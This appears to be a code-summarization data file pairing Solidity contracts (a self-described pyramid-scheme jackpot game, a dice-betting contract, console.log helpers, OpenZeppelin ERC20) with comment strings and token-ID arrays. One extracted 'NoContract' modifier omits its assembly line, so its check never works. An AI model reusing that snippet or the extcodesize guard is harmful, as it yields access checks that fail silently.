1 uint256 public constant devFee = 500; // 5% address owner; // Fee address is a contract and is supposed to be used for future projects. // You can buy a dividend card here, which gives you 10% of the development fee. // If someone else buys it, the contract enforces you do make profit by transferring // (part of) the cost of the card to you. // It will also pay out all dividends if someone buys the card // A withdraw function is also available to withdraw the dividends up to that point. // The way to lose money with this card is if not enough dev fee enters the contract AND no one buys the card. // You can buy it on https://etherguy.surge.sh (if this site is offline, contact me). (Or check contract address and run it in remix to manually buy.) address constant fee_address = 0x3323075B8D3c471631A004CcC5DAD0EEAbc5B4D1; event NewVote(uint256 AllVotes); event VoteStarted(); event ItemBought(uint256 ItemID, address OldOwner, address NewOwner, uint256 NewPrice, uint256 FlipAmount); event JackpotChange(uint256 HighJP, uint256 LowJP); event OutGassed(bool HighGame, uint256 NewGas, address WhoGassed, address NewGasser); event Paid(address Paid, uint256 Amount); modifier OnlyDev(){ require(msg.sender==owner); _; } modifier OnlyState(uint256 id){ require (CurrentGame == id); _; } // OR relation modifier OnlyStateOR(uint256 id, uint256 id2){ require (CurrentGame == id || CurrentGame == id2); _; } // Thanks to TechnicalRise // Ban contracts modifier NoContract(){ uint size; address addr = msg.sender; assembly { size := extcodesize(addr) } require(size == 0); _; } function ServiceStation() public { owner = msg.sender; } // State 0 rules // Simply vote. function Vote() public NoContract OnlyStateOR(0,2) { bool StillOpen; if (CurrentGame == 2){ StillOpen = Timer(); if (StillOpen){ revert(); // cannot vote yet. } else{ Next(false); // start in next lines. } } StillOpen = Timer(); if (!StillOpen){ emit VoteStarted(); Start(); Votes=0; } if ((Votes+1)>= VotesNecessary){ GameStart(); } else{ Votes++; } emit NewVote(Votes); } function DevForceOpen() public NoContract OnlyState(0) OnlyDev { emit NewVote(VotesNecessary); Timestamp = now; // prevent that round immediately ends if votes were long ago. GameStart(); } // State 1 rules // Pyramid scheme, buy in for 10% jackpot. function GameStart() internal OnlyState(0){ RoundNumber++; Votes = 0; // pay latest persons if not yet paid. Withdraw(); Next(true); TotalPot = address(this).balance; } uint256 RoundNumber = 0; uint256 constant MaxItems = 11; // max id, so max items - 1 please here. uint256 constant StartPrice = (0.005 ether); uint256 constant PriceIncrease = 9750; uint256 constant PotPaidTotal = 8000; uint256 constant PotPaidHigh = 9000; uint256 constant PreviousPaid = 6500; uint256 public TotalPot; // This stores if you are in low jackpot, high jackpot // It uses numbers to keep track how much items you have. mapping(address => bool) LowJackpot; mapping(address => uint256) HighJackpot; mapping(address => uint256) CurrentRound; address public LowJackpotHolder; address public HighJackpotHolder; uint256 CurrTimeHigh; uint256 CurrTimeLow; uint256 public LowGasAmount; uint256 public HighGasAmount; struct Item{ address holder; uint256 price; } mapping(uint256 => Item) Market; // read jackpots function GetJackpots() public view returns (uint256, uint256){ uint256 PotPaidRound = (TotalPot * PotPaidTotal)/10000; uint256 HighJP = (PotPaidRound * PotPaidHigh)/10000; uint256 LowJP = (PotPaidRound * (10000 - PotPaidHigh))/10000; return (HighJP, LowJP); } function GetItemInfo(uint256 ID) public view returns (uint256, address){ Item memory targetItem = Market[ID]; return (targetItem.price, targetItem.holder); } function BuyItem(uint256 ID) public payable NoContract OnlyState(1){ require(ID <= MaxItems); bool StillOpen = Timer(); if (!StillOpen){ revert(); //Next(); // move on to next at new timer; //msg.sender.transfer(msg.value); // return amount. //return; // cannot buy } uint256 price = Market[ID].price; if (price == 0){ price = StartPrice; } require(msg.value >= price); // excess big goodbye back to owner. if (msg.value > price){ msg.sender.transfer(msg.value-price); } // fee -> out uint256 Fee = (price * (devFee))/10000; uint256 Left = price - Fee; // send fee to fee address which is a contract. you can buy a dividend card to claim 10% of these funds, see above at "address fee_address" fee_address.transfer(Fee); if (price != StartPrice){ // pay previous. address target = Market[ID].holder; uint256 payment = (price * PreviousPaid)/10000; target.transfer (payment); if (target != msg.sender){ if (HighJackpot[target] >= 1){ // Keep track of how many high jackpot items we own. // Why? Because if someone else buys your thing you might have another card // Which still gives you right to do high jackpot. HighJackpot[target] = HighJackpot[target] - 1; } } //LowJackpotHolder = Market[ID].holder; TotalPot = TotalPot + Left - payment; emit ItemBought(ID, target, msg.sender, (price * (PriceIncrease + 10000))/10000, payment); } else{ // Keep track of total pot because we gotta pay people from this later // since people are paid immediately we cannot read this.balance because this decreases TotalPot = TotalPot + Left; emit ItemBought(ID, address(0x0), msg.sender, (price * (PriceIncrease + 10000))/10000, 0); } uint256 PotPaidRound = (TotalPot * PotPaidTotal)/10000; emit JackpotChange((PotPaidRound * PotPaidHigh)/10000, (PotPaidRound * (10000 - PotPaidHigh))/10000); // activate low pot. you can claim low pot if you are not in the high jackpot . LowJackpot[msg.sender] = true; // Update price price = (price * (PriceIncrease + 10000))/10000; // if (CurrentRound[msg.sender] != RoundNumber){ // New round reset count if (HighJackpot[msg.sender] != 1){ HighJackpot[msg.sender] = 1; } CurrentRound[msg.sender] = RoundNumber; } else{ HighJackpot[msg.sender] = HighJackpot[msg.sender] + 1; } Market[ID].holder = msg.sender; Market[ID].price = price; } // Round 2 least gas war // returns: can play (bool), high jackpot (bool) function GetGameType(address targ) public view returns (bool, bool){ if (CurrentRound[targ] != RoundNumber){ // no buy in, reject playing jackpot game return (false,false); } else{ if (HighJackpot[targ] > 0){ // play high jackpot return (true, true); } else{ if (LowJackpot[targ]){ // play low jackpot return (true, false); } } } // functions should not go here. return (false, false); } // function BurnGas() public NoContract OnlyStateOR(2,1) { bool StillOpen; if (CurrentGame == 1){ StillOpen = Timer(); if (!StillOpen){ Next(true); // move to round 2. immediate start } else{ revert(); // gas burn closed. } } StillOpen = Timer(); if (!StillOpen){ Next(true); Withdraw(); return; } bool CanPlay; bool IsPremium; (CanPlay, IsPremium) = GetGameType(msg.sender); require(CanPlay); uint256 AllPot = (TotalPot * PotPaidTotal)/10000; uint256 PotTarget; uint256 timespent; uint256 payment; if (IsPremium){ PotTarget = (AllPot * PotPaidHigh)/10000; if (HighGasAmount == 0 || tx.gasprice < HighGasAmount){ if (HighGasAmount == 0){ emit OutGassed(true, tx.gasprice, address(0x0), msg.sender); } else{ timespent = now - CurrTimeHigh; payment = (PotTarget * timespent) / RoundTimes[2]; // calculate payment and send HighJackpotHolder.transfer(payment); emit OutGassed(true, tx.gasprice, HighJackpotHolder, msg.sender); emit Paid(HighJackpotHolder, payment); } HighGasAmount = tx.gasprice; CurrTimeHigh = now; HighJackpotHolder = msg.sender; } } else{ PotTarget = (AllPot * (10000 - PotPaidHigh)) / 10000; if (LowGasAmount == 0 || tx.gasprice < LowGasAmount){ if (LowGasAmount == 0){ emit OutGassed(false, tx.gasprice, address(0x0), msg.sender); } else{ timespent = now - CurrTimeLow; payment = (PotTarget * timespent) / RoundTimes[2]; // calculate payment and send LowJackpotHolder.transfer(payment); emit OutGassed(false, tx.gasprice, LowJackpotHolder, msg.sender); emit Paid(LowJackpotHolder, payment); } LowGasAmount = tx.gasprice; CurrTimeLow = now; LowJackpotHolder = msg.sender; } } } function Withdraw() public NoContract OnlyStateOR(0,2){ bool gonext = false; if (CurrentGame == 2){ bool StillOpen; StillOpen = Timer(); if (!StillOpen){ gonext = true; } else{ revert(); // no cheats } } uint256 timespent; uint256 payment; uint256 AllPot = (TotalPot * PotPaidTotal)/10000; uint256 PotTarget; if (LowGasAmount != 0){ PotTarget = (AllPot * (10000 - PotPaidHigh))/10000; timespent = Timestamp - CurrTimeLow; payment = (PotTarget * timespent) / RoundTimes[2]; // calculate payment and send LowJackpotHolder.transfer(payment); emit Paid(LowJackpotHolder, payment); } if (HighGasAmount != 0){ PotTarget = (AllPot * PotPaidHigh)/10000; timespent = Timestamp - CurrTimeHigh; payment = (PotTarget * timespent) / RoundTimes[2]; // calculate payment and send HighJackpotHolder.transfer(payment); emit Paid(HighJackpotHolder, payment); } // reset low gas high gas for next round LowGasAmount = 0; HighGasAmount = 0; // reset market prices. uint8 id; for (id=0; id<MaxItems; id++){ Market[id].price=0; } if (gonext){ Next(true); } } // this is added in case something goes wrong // the contract can be funded if any bugs happen when // trying to transfer eth. function() payable{ } }
Thanks to TechnicalRise Ban contracts
modifier NoContract(){ uint size; address addr = msg.sender; require(size == 0); _; }
5,407,287
[ 1, 1315, 19965, 358, 30960, 1706, 54, 784, 605, 304, 20092, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 2631, 8924, 1435, 95, 203, 3639, 2254, 963, 31, 203, 3639, 1758, 3091, 273, 1234, 18, 15330, 31, 203, 3639, 2583, 12, 1467, 422, 374, 1769, 203, 3639, 389, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {IUbiGame} from "./interfaces/IUbiGame.sol"; import {IUbiGamesOracle} from "./interfaces/IUbiGamesOracle.sol"; import {IUbiGamesVault} from "./interfaces/IUbiGamesVault.sol"; contract Ubiroll is IUbiGame, Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; struct Bet { uint256 id; address player; uint256 chance; uint256 result; uint256 betAmount; uint256 prizeAmount; bool finished; bytes32 oracleRequestId; } address public oracle; address public vault; Bet[] public bets; mapping(bytes32 => uint256) public oracleRequestToBet; bool public gamePaused = false; uint16 public houseEdge = 1; // 1/100 uint256 public minBet; modifier notPaused() { require(!gamePaused, "Game is paused"); _; } modifier onlyOracle() { require(msg.sender == oracle, "Sender must be oracle"); _; } event BetCreated( uint256 indexed id, address indexed player, uint256 chance, uint256 amount, bytes32 requestId ); event BetFinalized( uint256 indexed id, address indexed player, uint256 chance, uint256 result, bool win ); constructor( address _oracle, address _vault, uint256 _minBet ) { oracle = _oracle; vault = _vault; minBet = _minBet; } function createBet(uint256 _chance, uint256 _amount) public notPaused { require(_amount >= minBet, "Bet amount must be greater than minBet"); require(_chance > 0, "Winning chance must be greater than 0"); require((_chance.add(houseEdge)) < 100, "Winning chance must be lower"); uint256 prize = calculatePrize(_chance, _amount); require(prize < maxPrize(), "Prize must be lower than maxPrize"); IUbiGamesVault(vault).gameDeposit(msg.sender, _amount); uint256 betIndex = bets.length; Bet memory bet; bet.id = betIndex; bet.player = msg.sender; bet.chance = _chance; bet.betAmount = _amount; bet.prizeAmount = prize; bytes32 requestId = IUbiGamesOracle(oracle).requestRandomNumber(); bet.oracleRequestId = requestId; bets.push(bet); oracleRequestToBet[requestId] = betIndex; emit BetCreated(betIndex, msg.sender, _chance, _amount, requestId); } function finalizeBet(bytes32 _requestId, uint256 _randomness) public override onlyOracle { uint256 result = (_randomness % 100) + 1; uint256 betId = oracleRequestToBet[_requestId]; Bet storage bet = bets[betId]; assert(bet.oracleRequestId == _requestId); bet.result = result; bet.finished = true; if (bet.chance >= result) { IUbiGamesVault(vault).gameWithdraw(bet.player, bet.prizeAmount); emit BetFinalized(bet.id, bet.player, bet.chance, result, true); } else { emit BetFinalized(bet.id, bet.player, bet.chance, result, false); } } // if bet fails to resolve function refundBet(uint256 _betId) public onlyOwner { Bet storage bet = bets[_betId]; assert(bet.finished == false); IUbiGamesVault(vault).gameWithdraw(bet.player, bet.betAmount); emit BetFinalized(bet.id, bet.player, bet.chance, 0, false); } function maxPrize() public view returns (uint256) { uint256 balance = IUbiGamesVault(vault).getUbiBalance(); return balance.div(100); } function calculatePrize(uint256 _winningChance, uint256 _amount) public view returns (uint256) { return _amount.mul(uint256(100).sub(houseEdge)).div(_winningChance); } function setOracle(address _oracle) public onlyOwner { oracle = _oracle; } function setGamePause(bool _paused) public onlyOwner { gamePaused = _paused; } function setHouseEdge(uint16 _houseEdge) public onlyOwner { houseEdge = _houseEdge; } function setMinBet(uint256 _minBet) public onlyOwner { minBet = _minBet; } }
if bet fails to resolve
function refundBet(uint256 _betId) public onlyOwner { Bet storage bet = bets[_betId]; assert(bet.finished == false); IUbiGamesVault(vault).gameWithdraw(bet.player, bet.betAmount); emit BetFinalized(bet.id, bet.player, bet.chance, 0, false); }
12,721,902
[ 1, 430, 2701, 6684, 358, 2245, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 16255, 38, 278, 12, 11890, 5034, 389, 70, 278, 548, 13, 1071, 1338, 5541, 288, 203, 3639, 605, 278, 2502, 2701, 273, 324, 2413, 63, 67, 70, 278, 548, 15533, 203, 3639, 1815, 12, 70, 278, 18, 13527, 422, 629, 1769, 203, 3639, 467, 57, 13266, 43, 753, 12003, 12, 26983, 2934, 13957, 1190, 9446, 12, 70, 278, 18, 14872, 16, 2701, 18, 70, 278, 6275, 1769, 203, 3639, 3626, 605, 278, 7951, 1235, 12, 70, 278, 18, 350, 16, 2701, 18, 14872, 16, 2701, 18, 343, 1359, 16, 374, 16, 629, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/11155111/0xFCc8a75ab4e55E1E9c3d8d1A8d833CB7BF45F5B7/sources/_ganache/console.log/console.sol
* Prints to `stdout` with newline. Multiple arguments can be passed, with the first used as the primary message and all additional used as substitution ```solidity uint256 count = 5; console.log('count: %d', count); console.log('count:', count); ``` See `util.format()` for more information./
function log(string memory value1, bool value2, bool value3, uint256 value4) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint256)", value1, value2, value3, value4)); }
3,821,412
[ 1, 15402, 358, 1375, 10283, 68, 598, 9472, 18, 13531, 1775, 848, 506, 2275, 16, 598, 326, 1122, 1399, 487, 326, 3354, 883, 471, 777, 3312, 1399, 487, 12785, 31621, 30205, 560, 2254, 5034, 1056, 273, 1381, 31, 2983, 18, 1330, 2668, 1883, 30, 738, 72, 2187, 1056, 1769, 2983, 18, 1330, 2668, 1883, 30, 2187, 1056, 1769, 31621, 2164, 1375, 1367, 18, 2139, 20338, 364, 1898, 1779, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 613, 12, 1080, 3778, 460, 21, 16, 1426, 460, 22, 16, 1426, 460, 23, 16, 2254, 5034, 460, 24, 13, 2713, 1476, 288, 203, 3639, 389, 4661, 1343, 6110, 12, 21457, 18, 3015, 1190, 5374, 2932, 1330, 12, 1080, 16, 6430, 16, 6430, 16, 11890, 5034, 2225, 16, 460, 21, 16, 460, 22, 16, 460, 23, 16, 460, 24, 10019, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.5.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least 